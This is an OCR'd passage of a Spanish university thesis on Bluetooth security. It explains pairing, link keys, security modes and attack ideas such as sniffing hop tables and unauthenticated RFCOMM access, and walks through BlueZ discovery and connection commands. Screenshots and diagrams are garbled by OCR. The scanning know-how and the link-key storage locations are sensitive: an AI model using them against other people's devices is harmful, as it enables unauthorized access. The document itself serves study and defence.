saltos de frecuencia que deben utilizar los dispositivos pertenecientes a la piconet
durante las comunicaciones. El intercambio de la tabla de saltos desde el maestro
hacia el esclavo (o esclavos) se realiza en un canal determinado del espectro de
frecuencias, de forma que todos los dispositivos pueden acceder a ésta.
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Cuando se establece la piconet, el dispositivo esclavo recibe un paquete FHS
(Frecuency Hop Synchronization) que le permite sincronizar su reloj interno con el
reloj del maestro agregando un desplazamiento a su reloj interno. Como los relojes
funcionan con independencia, a lo largo de la comunicacion se han de actualizar
regularmente dichos desplazamientos.

Una vez comenzada la comunicacién, el intercambio de paquetes de datos se
realiza de acuerdo con el patrén de saltos de frecuencia establecido y a una
velocidad marcada por el reloj interno. Esto significa que en cada instante de
tiempo cada dispositivo escribirdA o escuchara durante su timeslot en un
determinado canal del espectro.

Cualquier dispositivo ajeno que no pertenezca a la piconet no podra participar en
la comunicacion enviando paquetes o escuchando trafico, ya que no dispone de la
tabla con la secuencia de saltos utilizada en la piconet y, ademas, la probabilidad
de adivinar cual de todos los canales puede ser empleado para la comunicacion en
cada instante de tiempo es minima.

En definitiva, la técnica de saltos de frecuencia empleada por Bluetooth garantiza,
en principio, la participacion exclusiva de dispositivos autorizados en una piconet
y una comunicacion libre de escuchas por parte de usuarios ajenos a la misma.

Sin embargo, si un atacante pudiera disponer de la tabla de frecuencias generada
por el dispositivo maestro de una piconet, éste podria sincronizar su modulo
Bluetooth con el resto de dispositivos de la piconet y participar en la
comunicacion, capturando el trafico e inyectando paquetes. Puesto que el
intercambio de las tablas de secuencias de saltos se lleva a cabo en una frecuencia
conocida, un dispositivo malicioso podria estar escuchando constantemente y
capturar estas tablas de saltos de frecuencia para sincronizarse con una piconet.

Por otro lado, aunque actualmente los mddulos Bluetooth convencionales no
permiten la escucha en mas de un canal del espectro de frecuencias, es posible que
exista determinado hardware especializado capaz de barrer todo el espectro de
frecuencias empleado por Bluetooth y capturar paquetes en mas de un canal a la
vez. Esto permitiria a un atacante escuchar todo el intercambio de paquetes entre
dispositivos de wuna piconet y comprometer la confidencialidad de Ia
comunicacion. No obstante, se trata de mddulos Bluetooth especiales que no
resultan accesibles para la mayoria de los usuarios y cuyo coste es elevado.
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Se puede concluir, por tanto, que la técnica de saltos de frecuencia empleada por
Bluetooth refuerza en gran medida la seguridad del protocolo, pero en ningin
caso garantiza totalmente la privacidad de la comunicacion, ya que cabe la
posibilidad de que cierto usuario no autorizado pueda conseguir acceso a la
piconet y comprometa la confidencialidad del intercambio de datos y la integridad
de los dispositivos participantes en la misma. Sin embargo, se trata de técnicas de
ataque muy complejas y dificiles de llevar a la practica en un entorno real.

2.5.2 — Seguridad a nivel de enlace

Se definen tres mecanismos de seguridad en el nivel de enlace
0 Autenticacion
0 Autorizacion

o Cifrado de datos

2.5.2.1 — Autenticacion

La autenticacion es el proceso por el cual un dispositivo Bluetooth verifica su
identidad en otro dispositivo para poder acceder a los servicios que ofrece.

Todas las funciones de seguridad de nivel de enlace estan basadas en el concepto
de claves de enlace, las cuales son numeros pseudoaleatorios de 128 bits
almacenados individualmente por cada par de dispositivos Bluetooth. La
autenticacién no requiere la intervencién del usuario; implica un esquema de
desafio/respuesta entre cada par de dispositivos que emplea una clave de enlace
secreta comun de 128 bits. Consecuentemente, este esquema se utiliza para
autentificar dispositivos, no usuarios.

La primera vez que dos dispositivos intentan comunicarse, se utiliza un
procedimiento de inicializacion denominado emparejamiento (pairing) para crear
una clave de enlace comun de una forma segura. Para la primera conexion entre
dos dispositivos, el procedimiento estdndar de emparejamiento requiere que el
usuario de cada dispositivo introduzca un codigo (cadena ASCII) de seguridad
Bluetooth de hasta 16 bytes de longitud que debe ser el mismo en los dos casos. En
primer lugar un usuario introduce el codigo de seguridad y en segundo lugar, el
otro usuario debe confirmar el mismo codigo de seguridad.
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En el caso de requisitos de baja seguridad, es posible que aquellos dispositivos
Bluetooth que no tengan interfaz de usuario para permitir al usuario introducir un
cddigo manualmente, como por ejemplo dispositivos GPS o manos libres,
incorporen un codigo prefijado de fabrica por defecto, como 0000, 1234, etc. En
este caso, en el dispositivo que inicia el emparejamiento se debe introducir el
mismo cddigo prefijado que incluye el dispositivo de baja seguridad.

El cédigo de seguridad Bluetooth, a menudo es conocido como clave PIN
(Personal Identification Number), aunque no se trata de un codigo que el usuario
deba memorizar para mantenerlo en secreto, ya que se introduce una sola vez.

Solicitud de codigo PIN de Blueiooth B3 ¢ Dﬂ EE
ﬁ@ e e A e Nokia GO0 "

Antes de establecer la conexion, este equipo v el dispozitivo que

aparece maz amba deben “emparejarse’. Bluetooth 2
tediante el emparejamiento de Eluetooth ze establece una clave
zecreta que se utilizard en todas las conesiones que realice en el futuro C lfll:lll_:l o para

para autenticar la identidad del dispasitiva v encriptar los datos.,

Para crear la relacion de emparejamiento, ingreze el cadigo PIN v haga EDSDEIFCE:
clic en &ceptar. ) 123

Cadigo FIM de Bluetoath: | |

[tcepar | [ Concsla | [ | Cancelar

A partir del céddigo de seguridad Bluetooth (PIN), se obtiene la clave de enlace
comun a dos dispositivos del siguiente modo:

1) Se genera una clave de inicializacion comun Kint de 128 bits usando el
algoritmo E22 a partir del codigo de seguridad Bluetooth (PIN), la longitud
del mismo, la direccion BD_ADDR de 48 bits y un numero aleatorio

IN_RAND.
Master Broadcasted Slave
(A) messages (B)
Randomize 128bit |
IN_RAND |
IN_RAND
> (128010
HE | AE
A E I RS
=3 5] =]
Iy I i
E22 : E22
|: I I:
1

56



2) Se genera la clave de enlace Ka usando el algoritmo E21. Los dispositivos
usan la clave de inicializacion Kinit para intercambiar dos nuevos nimeros
aleatorios de 128 bits, conocidos como LK_RAND A y LK_RAND B. Cada
dispositivo genera un nuimero aleatorio y se lo envia al otro dispositivo
previamente XOReado bit a bit con Kit. Dado que ambos dispositivos
conocen Kinit, cada dispositivo conoce ambas LK_RAND.

A partir de la direccion BD_ADDR y el LK_RAND, el algoritmo E21 obtiene
la clave de enlace Kab.

_| ? ]

K

Master Broadcasted Slave
(A) messages (®)
Randomize Kin'rt I Kinit Randomize
128bit I 128bit
LK_RAND , ( LK_RAND ,
| il BN LK—HANDA‘EB!ﬂm ._F
Lo | T
g%* LK_RAND 45K Ty
i |
= |z o |x | : = |8 |F |2
o ! o | o
= 8 |z |B : 15 |z |&
i e e = I - 1 Skd 0
I [ 4 I'
E21 E21 : E21 E21
I
LK K, LK Ky LK K, LK K,
I
I

D

ab

3) La clave de enlace comtn se almacena temporalmente en los dispositivos
emparejados. Mientras esta clave de enlace esté almacenada en ambos
dispositivos, no es necesario repetir el emparejamiento en futuras
conexiones. Si por alguna razon, uno de los dos dispositivos ha borrado la
clave de enlace comtn, debe repetirse el emparejamiento y los usuarios
deben introducir de nuevo cualquier cédigo de seguridad Bluetooth.
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Una vez que los dispositivos emparejados disponen de la clave de enlace, utilizan
esta clave comun para autentificarse automaticamente en las sucesivas conexiones.
El proceso de autenticacion estd basado en el esquema desafio/respuesta y
transcurre de la siguiente forma:

1) El dispositivo reclamante envia su direccion BD_ADDR al dispositivo
verificador.

2) El verificador devuelve un desafio aleatorio de 128 bits al demandante.

3) El reclamante usa el algoritmo E1 para generar la respuesta de
autenticacion (SRES) de 32 bits, usando como parametros de entrada la
direccion BD_ADDR del reclamante, la clave de enlace Ka almacenada y el
desafio. El verificador realiza la misma operacion en paralelo.

4) El reclamante devuelve la respuesta SRES al verificador.

5) El verificador comprueba la respuesta SRES recibida por el reclamante con
la respuesta SRES calculada por él.

6) Silos valores de SRES coinciden, el verificador establece la conexion.

Verificador Reclamant e

Direccidn del Eeclamante

-

: AU _RAND

P P ] e i
v 4 v v
Clave de__| El El ¢ -Clave de
enlace enlace
y SRES :
¥r
Comparacidn

La especificacion de Bluetooth establece que si se produce un fallo durante el
proceso de autenticacidn, y para prevenir que un atacante pruebe claves de enlace
aleatorias en un ataque de fuerza bruta, debe transcurrir cierto periodo de espera
antes de que se pueda llevar a cabo un nuevo intento de autenticacion. Para cada
sucesivo intento fallido, el tiempo de espera aumenta exponencialmente.
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En Microsoft Windows™, las claves de enlace generadas durante el
emparejamiento con otros dispositivos Bluetooth se almacenan en el registro.

% Editor del Registro

Archivo  Edicidn  Ver Favoritos  Avuda

=2 widcomm 4| Mombre Tipo Datos
=-E3 BTConflg . (Predeterminado) REG_SZ {walor no establecida)
(1 Appiications [R#)DevClass REG_BINARY 2004 04

D AutoConnect
[ bebug
=) Devices a2
23 00:08:20:02:55:73 -
Name

([ 0m:0a:94:01:d3:81

Features REG_BIMARY  bc3e8F 7818180080
FTRAuthorizationExpires  REG_BIMARY uli]

: REG_BIMARY 50000000 ¢c 00000001 02 00 00 02 66 00 00 00 &
REG_EIMNARY 45 46 30 30 39 00

] 00:0a:09:2ar4e120 [R¥]oPPauthorizationExpires  REG_EINARY 00

[C omoe:6d:ebing:o1 TimeStaI‘nD REG_DWORD  0x000034bc (135000
(L om:10:c6:55:e4:39 TrustedMask REG_DWORD  0x00000000 (0)

2 Filkers

[ General

D HerpPorts
(2 Matifications
122 Pims
2 services
D Cormponents
(3 Install | |€ Y

| il PCYHKEY_LOCAL_MACHIMEYSOFTWARE Y Widcomm'E TionfighDevices\00:08:20: 0e:55: 79

Linux almacena las claves de enlace en el archivo
/var/lib/bluetooth/BD_ADDR/linkkeys, siendo BD_ADDR la direccion MAC del
modulo Bluetooth local.

= gospel@ GospelFC5:/var/lib/bluetooth/00:0A:94:01:D9:E1 g@@

Archivo Editar Ver Terminal Solapas Ayuda
[root@GospelFC5 bluetooth]# 1s

2.5.2.2 — Autorizacion

La autorizacion es el procedimiento que determina los derechos que tiene un
dispositivo Bluetooth para acceder a los servicios que ofrece un sistema.

El mecanismo de autorizacidon en dispositivos Bluetooth se lleva a cabo mediante
niveles de confianza. Los dispositivos tienen tres niveles de confianza, los cuales
determinan la capacidad de acceso a los servicios: total, parcial o restringida y
nula.
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e Un dispositivo de confianza mantiene una relacion de emparejamiento y
dispone de acceso sin restricciones a todos los servicios.

e Un dispositivo de confianza restringida mantiene una relacion de
emparejamiento y solo dispone de acceso restringido a uno o varios
servicios, pero no a todos.

e Un dispositivo no confiable es aquel que puede o no mantener tener una
relacion de emparejamiento pero que no es de confianza. No se le permite
el acceso a ningun servicio.

En el caso de que un determinado dispositivo de confianza intente acceder a un
servicio autorizado, no se requiere ningin procedimiento de confirmacion, accede
de forma transparente.

En el caso de que un determinado dispositivo no confiable
intente acceder a un servicio restringido, se requiere un DLI lE
procedimiento explicito de confirmacion por parte del
usuario para permitir o denegar el acceso a ese dispositivo

durante la sesion de conexion actual. Notese que, para | ;Aceptar la 9
algunos servicios, es posible conceder permisos de acceso Es:l';:?ﬁ"ndse
temporal a dispositivos no emparejados previamente. GOSPELPC?

Si NOD

Todo dispositivo Bluetooth dispone de una base de datos
interna con su lista de dispositivos de confianza. Esa base de datos tiene el
siguiente formato:

Campo Estado Contenido

BD_ADDR Obligatorio | Direcciéon MAC del dispositivo
Nivel de confianza Obligatorio | De confianza / No de confianza
Clave de enlace Obligatorio | Clave de enlace Kab

Nombre Opcional Nombre del dispositivo (Cadena)

En la mayoria de dispositivos es posible configurar manualmente la lista de
dispositivos de confianza, por ejemplo, en un Nokia™ 6600.

Dispositivos

Dispositivos ]
vinculados

vinculados

Disp. vincul. nuevo = Dell Axim x30

- -

Conectar Las conexiones 9
2 GOSPELPC nsign_ naombre corto se haran - g GOSPELPC =

Fijar como autoriz. || | automaticamente sin
Borrar confirmacion.
Borrar todos Continuar?

Selecc. Cancelar@si Mo




2.5.2.3 — Cifrado de datos

El cifrado de datos protege la informacidon que se transmite en un enlace entre
dispositivos Bluetooth. Garantiza la confidencialidad del mensaje transmitido, de
forma que si el paquete es capturado por un usuario que no posea la clave de
descifrado, el mensaje le resultara ininteligible.

Su implementacién es opcional, pero necesita que se haya producido
anteriormente una autenticacion. El maestro y el esclavo deben ponerse de
acuerdo en utilizar cifrado o no. En caso afirmativo, deben determinar el tamano
de la clave de cifrado, para lo cual, maestro y esclavo intercambian mensajes hasta
alcanzar un acuerdo. No siempre es posible llegar a un acuerdo sobre el tamario de
la clave, en este caso se indica a las unidades Bluetooth que no se les permite
comunicarse utilizando cifrado en el enlace.

Tras esta negociacion comienza el proceso de cifrado:

El maestro genera una clave de cifrado Kc de 128 bits usando el algoritmo E3, el
cual requiere como parametros de entrada un nimero aleatorio de 128 bits, la
clave de enlace Kas generada durante el procedimiento de emparejamiento y
numero COF (Ciphering Offset) de 96 bits basado en el valor temporal ACO
(Authenticated Ciphering Offset) calculado durante el procedimiento de
autenticacion.

RAND, 125 bits e

COF, 56 bits 5

Link key %

Eey, 125 bits

Una vez que la clave de cifrado se ha generado con éxito, el maestro se encuentra
en condiciones de transmitir datos cifrados, para lo cual debe detener
temporalmente el trafico de datos de los niveles superiores y asi evitar la recepcion
de datos corruptos.
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2.5.2.4 - SAFER+

SAFER+ (Secure And Fast Encryption Routine) es un algoritmo simétrico de
cifrado de datos de tipo IBC (Iterated Block Ciphers) que utiliza bloques de 128

bits.

Bluetooth hace uso del algoritmo de cifrado SAFER+ durante la generacion de las
claves de autenticacion y de cifrado:

0]

0]

Generacion de la clave Kinit con el algoritmo E22
Generacion de la clave de enlace Kab con el algoritmo E21
Proceso de autenticacion con el algoritmo E1

Generacion de la clave de cifrado K. con el algoritmo E3

Sin embargo, SAFER+ no es utilizado para cifrar el enlace de datos. Para esta
funcién, Bluetooth utiliza el algoritmo 4LFSR, que es un cifrador de flujo adecuado
para cifrado rapido de datos.

62



2.5.2.5 - Modos de seguridad Bluetooth a nivel de enlace

Una vez descritos los 3 mecanismos que emplea Bluetooth para reforzar la
seguridad a nivel de enlace (autenticacion, autorizacion y cifrado de datos), se
definen 3 modos de seguridad a nivel de enlace en funcion de la implementacién
de los mismos:

0 Modo 1: Ausencia de seguridad. Todos los mecanismos de seguridad
(autenticacion y cifrado) estan deshabilitados. Ademas, el dispositivo se
sitia en modo promiscuo, permitiendo que todos los dispositivos Bluetooth
se puedan conectar a €l. Este modo lo emplean dispositivos que no tienen
aplicaciones criticas.

Ninguna parte del trafico de datos es cifrada.

0 Modo 2: Proporciona seguridad en los servicios a nivel de L2CAP. Utiliza
mecanismos de seguridad después de establecerse el canal de
comunicacion: autorizacion. Un gestor de seguridad controla el acceso de
los dispositivos a los diferentes servicios, en funcion de su nivel de
confianza.

La interaccion con el usuario se limita a solicitar confirmacién de la
autorizaciéon de acceso a servicios restringidos por parte de dispositivos no
autorizados.

El trafico de difusion no esta cifrado, mientras que el trafico punto a punto

se cifra seguin las claves individuales generadas durante la conexion.

0 Modo 3: Proporciona seguridad en el dispositivo a nivel de LMP. Utiliza
mecanismos de seguridad antes de establecerse el canal de comunicacion:
autenticacion. Requiere emparejamiento de dispositivos y existencia de
clave de enlace compartida para validar la conexién entre dispositivos.

La interaccion con el usuario requiere la introduccion de un codigo PIN
para llevar a cabo el emparejamiento de dispositivos.

Todo el trafico se cifra con la clave de cifrado generada.
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Se ha visto como se definen dos tipos de mecanismos de control de acceso a los
servicios soportados por un dispositivo: autenticacion y autorizacién. Esto
significa que existen algunos servicios unicamente accesibles mediante
autenticacion y otros a los que se podria acceder mediante simple autorizacion, sin
necesidad de que los dispositivos hayan sido emparejados previamente.

La implementacion de los distintos modos de seguridad a nivel de enlace se ha ido
incorporando progresivamente en la fabricacion de teléfonos modviles Bluetooth de
la siguiente manera:

Los primeros modelos de teléfonos moviles Bluetooth que aparecieron en el
mercado fueron Nokia™ 6310 y Sony-Ericsson™ T68 y T610. Las primeras
versiones de estos dispositivos incorporaban por defecto el Modo 1 de seguridad
de enlace, lo que permitia a cualquier usuario de otro dispositivo acceder a todos
los servicios y establecer conexiones con los perfiles Bluetooth soportados sin
necesidad de autenticacion ni autorizacion. Evidentemente, esto trajo consigo la
aparicion de los primeros ataques a teléfonos moviles: conexiones REFCOMM sin
necesidad de autenticacion con la posibilidad de ejecutar comandos AT en los
terminales comprometidos.

Inmediatamente, los fabricantes se dieron cuenta del enorme riesgo que suponia
no proteger los teléfonos moviles. Las sucesivas versiones que aparecieron en el
mercado comenzaron a incorporar el Modo de seguridad de enlace 2 y, mas tarde,
el Modo 3. Esta implementacién mas robusta de los modos de seguridad en los
servicios soportados por los teléfonos moviles fue realizdndose de forma
paulatina, primero en los servicios mads criticos y, por ultimo, en todos los
servicios. Esto ocurrid asi porque se descubrié que era posible acceder a servicios
protegidos utilizando como puente conexiones a servicios no protegidos, por lo
que resultaba mas seguro proteger inicialmente todos los servicios.

Todavia, hoy en dia, es posible encontrar teléfonos mdviles vulnerables a ataques
a servicios que no requieren autenticacién y en los cuales es factible saltar la
barrera de la autorizacion con ayuda de ingenieria social, enganando al usuario
para que permita al dispositivo atacante acceder a cierto servicio.

Sin embargo, en lineas generales, casi la totalidad de los teléfonos moviles
existentes en el mercado actual incorporan el modo 3 de seguridad a nivel de
enlace en todos los servicios soportados, a excepcion del Perfil de Carga de
Objetos (OBEX Object Push), el cual sélo requiere autorizacidon para permitir asi el
libre intercambio de tarjetas de visita entre dispositivos Bluetooth.
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Capitulo

3

IDENTIFICACION
DE DISPOSITIVOS
BLUETOOTH
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3.1 - La pila de protocolos BlueZ para Linux

BlueZ es la pila de protocolos Bluetooth oficial para Linux. Inicialmente
desarrollado por Qualcomm, ahora es un proyecto open source distribuido bajo
licencia GPL (GNU General Public License). El ntcleo de BlueZ forma parte del
kernel oficial de Linux desde la version 2.4.6.

La pagina oficial del proyecto BlueZ es http://www .bluez.org

El nucleo de BlueZ viene acompanado por un conjunto de herramientas que
permiten ejecutar las funciones Bluetooth implementadas en la pila de protocolos
desde una shell de comandos.

Estas herramientas son las siguientes:

e Bluepin: Gestion de suministro del PIN para emparejamiento con otros
dispositivos.

e Hciattach: Configuracion de dispositivos serial UART (Universal
Asynchronous Receiver/Transmitter) como interfaces HCI Bluetooth.

e Hciconfig: Configuracion de dispositivos Bluetooth locales.
e Hcid: Demonio interfaz HCI

e Hcidump: Sniffer local de trafico HCI que entra y sale por el dispositivo
Bluetooth instalado en el sistema.

e Hcitool: Gestion del enlace con otros dispositivos Bluetooth, deteccion de
dispositivos remotos, resolucion de nombres, identificacion de clases, etc.

e [2ping: Envio de solicitudes echo request (pings) a nivel L2ZCAP.
e Pand: Gestion de conexiones PAN (Personal Area Network)
e Rfcomm: Gestion de conexiones RFCOMM

e Sdpd: Demonio del protocolo de descubrimiento de servicios SDP. Se
encarga de proporcionar acceso a los servicios Bluetooth locales.

e Sdptool: Gestion de SDP (Service Discovery Protocol), descubrimiento de
servicios Bluetooth en dispositivos remotos.
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La mayoria de las herramientas mencionadas se encuentran instaladas por defecto

en aquellas distribuciones Linux que incorporan el nucleo de BlueZ. Sin embargo,

también es posible obtener las herramientas y librerias necesarias para el

funcionamiento de BlueZ por medio de modulos del ntcleo BlueZ. Estos modulos

se encuentran disponibles para descarga en la pagina web oficial de Bluez

http://www .bluez.org/download.html y son los siguientes:

e Dbluez-libs-x.x.tar.gz (Librerias basicas Bluetooth)

¢ Dbluez-libs-devel-x.x.tar.gz (Librerias de desarrollo Bluetooth)

¢ Dbluez-utils-x.x.tar.gz (Herramientas Bluetooth)
e bluez-firmware-x.x.tar.gz (Actualizacion de firmware)
e Dbluez-hcidump-x.x.tar.gz (Sniffer local de trafico HCI)

Asi mismo, también es posible obtener estos médulos en forma de paquetes

precompilados dependientes de cada distribucion.

EENES

Tipo

Pagquete RPM
Paquete RPM
Pagquete RPM
Paquete RRPM
FPaguete RPM
Paquete RPM
Paquete RPM

[*]

& bluetooth
Archivo Editar Ver Lugares Ayuda

Nombre =  Tamano
E"abluez—l:ilueﬁu—l.D—l.E.ch.rf.BEE.rpm 23,0 Kib
Eﬁabluez—hcidump—l.iﬂ—l.iiﬂﬁ.rpm 92,3 Kib
E"abluez—lib5—2.25—1.i385.rpm 50,7 Kib
E’Sbluez—libS—devel—E.ES—l.iEEE.rpm 58,7 Kib
Ebluez—pan—l.l—l.ﬁﬂﬁ.rpm 254 Kib
Eﬁahluez—Edp—l.S—l.BEE.rpm 145,6 Kib
["abluez—utils—E.B—l.iEBE.rpm 132.3 Kib

(4] |

[{:-'l bluetooth = l 7 elementos, espacio libre: 826,5 MIB
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3.2 — Interconexion con dispositivos Bluetooth
desde Linux

La pila de protocolos Bluetooth para Linux, BlueZ, permite conectar un PC con
dispositivos Bluetooth remotos. Las diferentes herramientas que incluye permiten
detectar dispositivos Bluetooth cercanos, obtener informacion basica de los
mismos y conectarse a los servicios que soportan.

3.2.1 — Configuracion del dispositivo Bluetooth local

El primer paso es conectar al PC el mdédulo Bluetooth que se va a emplear para la
comunicacion con otros dispositivos. Linux deberia reconocer automaticamente el
dispositivo sin necesidad de instalar drivers. No obstante, es posible que alguin
modulo Bluetooth requiera la instalacion adicional de drivers en el sistema antes de
utilizarlo. En tal caso, se debe consultar con el fabricante.

Asi mismo, lo mas habitual es que Linux monte automéaticamente en el interfaz
hci0 el modulo Bluetooth conectado, pero en algunas distribuciones puede no
suceder. La verificacion se realiza mediante la herramienta Hciconfig.

= gospel® GospelFC5:/home/gospel E“E“ZI

Archivo Editar Ver Terminal Solapas Ayuda

[root@GospelFCS gospell]# hciconfig

DOWN
RX bytes:0 acl: errors:0
TX bytes:0 acl: errors:0

hciO: Tvpe: USHE
BD Address: 00:00:00:00:00:00 ACL MTU: 0:0 5C0O MTU: 0:0

[root@GospelFC5

En caso de que el dispositivo Bluetooth no se haya montado automaticamente,
sera necesario montarlo manualmente con la herramienta Hciconfig.

=] gospel@® GospelFC5:/home/gospel [=da] %]

Archivo Editar Mer Terminal Solapas Ayuda

spelFC5 gospel]# hciconfig heil up
spelFC5 gospel]# hciconfig -a
Type: USB
BD Address: 00:0A:94:01:D9:E1 ACL MTU: 384:8 SCO MTU:
UFP RUNNING PSCAN ISCAN
R¥ bytes:1053 acl:0 sco:0 events:40 errors:0

W 5:654 acl:0 sco:0 commands:39 errors:0
Features: Oxff Oxff OxBf Oxfe Ox9b Oxf9 Ox00 Ox80
Packet type: DM1 DM3 DM5 DH1 DHS DHS5 HV1 HVZ HV3
Link policy: RSWITCH HOLD SNIFF PARK

Link mode: SLAVE ACCEPT

Networking
omputer, Desktop workstation
1.1 ) HCI Rew: dc LMP Ver: 1.1 (Ox1) LMP Subver:
Manmufacturer: nbridge Silicon Radio (10)

spelFCS5 gospel]# |:|




3.2.2 — Configuracion de opciones del interfaz HCI

Antes de establecer comunicacién con otro dispositivo Bluetooth, se debe
configurar el fichero de opciones de HCI, localizado en /etc/bluetooth/hcid.conf.

Es recomendable utilizar la siguiente configuracion para hcid.conf:

# HCId options

options {
# Automatically initialize new devices
autoinit yes;

# Security Manager mode

# none - Security manager disabled

# auto - Use local PIN for incoming connections
# user - Always ask user for a PIN

#

security auto;

# Pairing mode

# none - Pairing disabled
# multi - Allow pairing with already paired devices
# once - Pair once and deny successive attempts

pairing multi;

# PIN helper
pin_helper /Zusr/bin/bluepin;
¥

# Default settings for HCI devices
device {

# Local device name

# %d - device id

# %h - host name

name "'‘GospelFC5";

# Local device class
class 0x120104;

# Inquiry and Page scan
iscan enable; pscan enable;

# Default link mode

none - no specific policy

accept - always accept incoming connections

master - become master on incoming connections,
deny role switch on outgoing connections

BB HH

Im accept;

# Default link policy

none - no specific policy
# rswitch - allow role switch
# hold - allow hold mode

# sniff - allow sniff mode
#
1

H*

park - allow park mode
p rswitch,hold,sniff,park;

# Authentication and Encryption (Security Mode 3)
#auth enable;
#encrypt enable;

Tras aplicar los cambios, procede a la reinicializacion de los servicios Bluetooth.

= gospel@® GospelFC5:fetc/init.d E“E“ZI

Archivo Editar Ver Terminal Solapas AIuda

[root@GospelFCS init.d]# fetc/init.d/bluetooth restart
Stopping Bluetooth services:

Iniciando los servicios de Bluetooth:
[root@GospelFC5 init.d]# []




3.2.3 — Deteccion de dispositivos Bluetooth con Hcitool

La herramienta Hcitool permite enviar paquetes inquiry para detectar la existencia
de dispositivos Bluetooth cercanos.

= gospel@ GospelFC5:~ E“E“ZI

Archivoe Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 ~]% hcitool ing
Inquiring

offset: Ox3607 ] 0 Ox52

offset: Ox725b C ] 020047 cO
offset: Ox4334d d 0x320104
offset: Ox4elb C 0320114
offset: Ox72d40 ] ] 0500204
offset: Oxdcbc lass: 0x200404

Asi mismo, también es posible obtener cierta informacion sobre los dispositivos
detectados, como su Class of Device/Service y su nombre de dispositivo.

= gospel@® GospelFC5:~ E“E“ZI

Archivo Editar Mer Terminal Solapas Atuda

[gospel@GospelFCS ~]% hcitool scan

Scanning
TEE1
Nokia LD-1W
GOSPELPC
Dell Axim =30
Nokia 6600
HFOO09

[gospel@

3.2.4 — Descubrimiento de servicios Bluetooth con Sdptool

La herramienta Sdptool permite identificar los perfiles disponibles en un
dispositivo Bluetooth detectado, por ejemplo, un teléfono movil.

= gospel@® GospelBook:~ E“E“Z'

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelBook ~1% sdptool browse 00:0E:6D:EEB:08:91
Browsing OO:0E:6D:EB:08:91 ...
Service Name: OBEX File Transfer

ce RecHandle: Ox1000c
Service Class ID List:

"OBEX File Transfer" (Ox1106)

Protocol Descriptor List:

( (0x0100)

(0x0008)

Language Base Attr List:
code_TIS06
encoding:
base_of

Profile Descriptor List:
"OBEX File Transfer" (Ox1106)

Version: Ox0100
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Archivo Editar Ver Terminal Solapas Atuda

Service Name: Dial-up Networking
Service RecHandle: Ox10001
Service Class ID List:
"Dialup Networking" (O0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RECOMM" (0x0003)
Chamnel: 1
Language Base Attr List:
code_IS0639: Ox656e
encoding: Ox6a
base_offset: Ox100
Profile Descriptor List:
"Dialup Networking" (O0x1103)
Version: O0x0100

Service Name: Bluetooth Serial Port
Service Description: Bluetooth Serial Port
Service Provider: Symbian Ltd.
Service RecHandle: 0x10002
Serwvice Class ID List:

"Serial Port" (Ox1101)
Protocol Descriptor List:

"L2CAP" (0x0100)

"REFCOMM" (0x0003)

Channel: 2

Language Base Attr List:

code_IS0639: 0x656e

encoding: Ox6a

base_offset: Ox100

Service Name: OBEX Object Push
Service RecHandle: 0Ox10003
Service Class ID List:

"OBEX ObjeciL Push” (0x1105)

Protocel Descriptor List:
"L2CAP" (0x0100)

"REFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)

Language Base Attr List:
code_IS0639: Ox656e
encoding: Ox6a
base_offset: O0x100

Profile Descriptor List:
"OBEX Object Push" (0x1105)

Version: 0x0100

Service Name: Handsfree Audio Gateway
Service RecHandle: 0x1000d4
Service Class ID List:
"Handfree Audio Gateway" (0Ox111f)
"Generic Audio"” (0x1203)
Protocel Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_IS0639: Ox656e
encoding: Ox6Ba
base_offset: Ox100
Profile Descriptor List:
"Handsfree" (0Ox1lle)
Version: O0x0101

[gospel@GospelFCs ~1% []




3.2.5 — Conexion a un servicio de otro dispositivo

Sdptool permite obtener una lista de perfiles soportados por un dispositivo
Bluetooth remoto, que incluye informacion detalla sobre las caracteristicas de cada
perfil, incluyendo el canal asociado.

Con ayuda de la herramienta Rfcomm, es posible conectarse a un determinado
servicio conociendo la direccion BD_ADDR vy el canal destino. Como ejemplo, se
describe la conexion al Perfil de Transferencia de Archivos (OBEX File Transfer)
del teléfono movil, cuyo canal correspondiente es el 10.

= gospel@® GospelFC5:~ E“EIEI
A

rchivo Editar Ver Terminal Solapas Ayuda

-
-

El intento de conexion inicia el procedimiento de autenticacion. En el teléfono
movil aparecerd una notificaciéon de emparejamiento de dispositivos Bluetooth,
que requerird la introduccion de un coédigo PIN. Tras la confirmacidn, aparecera
una ventana en el interfaz de Linux solicitando la introduccion del mismo cédigo
PIN al usuario.

N2

- Bluetooth PIN Code [ ]
Bluetooth S
. Outgoing connection to Nokia 6600[00:0E 6D EB.08:91]
Codigo para
GospelFC5: 123 PIN |DDDD |
| ko koK |

Accept ][ Feject ]

Aceptar Cancelar

Si el codigo PIN coincide, los dispositivos quedan H HEDE
emparejados y se establece la conexion a nivel de enlace. :
Sin embargo, antes de poder acceder al servicio, hay que

superar con éxito el procedimiento de autorizacion. En

este caso, el dispositivo Bluetooth conectado al PC con | ;qceptar Ia

Linux no estaba incluido en la lista de dispositivos de | peticion de -
confianza del teléfono mévil, por lo que se hace necesario | conexion de

. , L. . GospelFC57?
que el wusuario del teléfono moévil confirme Ila
autorizacion de acceso del dispositivo remoto al servicio ] {[u]
OBEX File Transfer.
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Tras la confirmacion de la autorizacion, Linux puede acceder al servicio y
establecer la conexion a nivel de aplicacion.

= gospel@® GospelFC5:~ E“EIEI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@CospelFC5 ~]% rfcomm connect O O0:0E:6D:EB:08:91 10
Connected /dev,/rfcomml to O0:0E:6D:EB:08:91 on channel 10

Press CTRL-C for hangup
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3.3 — BlueZScanner: el escaner de dispositivos

Bluetooth

BlueZScanner es un sencillo escaner de dispositivos Bluetooth que utiliza BlueZ y
esta desarrollado en lenguaje C. BlueZScanner forma parte de este Proyecto Fin de
Carrera “Seguridad en Bluetooth”.

Implementa las siguientes funciones:

O O O O

(0]

Deteccién de dispositivos Bluetooth cercanos.

Resolucion de nombre de dispositivo.

Obtencion del fabricante del chip Bluetooth incorporado en el dispositivo.
Andlisis del campo Device Class, que identifica la naturaleza del
dispositivo.

Anadlisis de los campos Service Classes, que identifican los servicios
ofrecidos por el dispositivo.

Descubrimiento de Perfiles Bluetooth disponibles en el dispositivo.

El codigo fuente y la herramienta BlueZScanner estan disponibles para descarga
en la siguiente direccion: http://gospel.endorasoft.es/

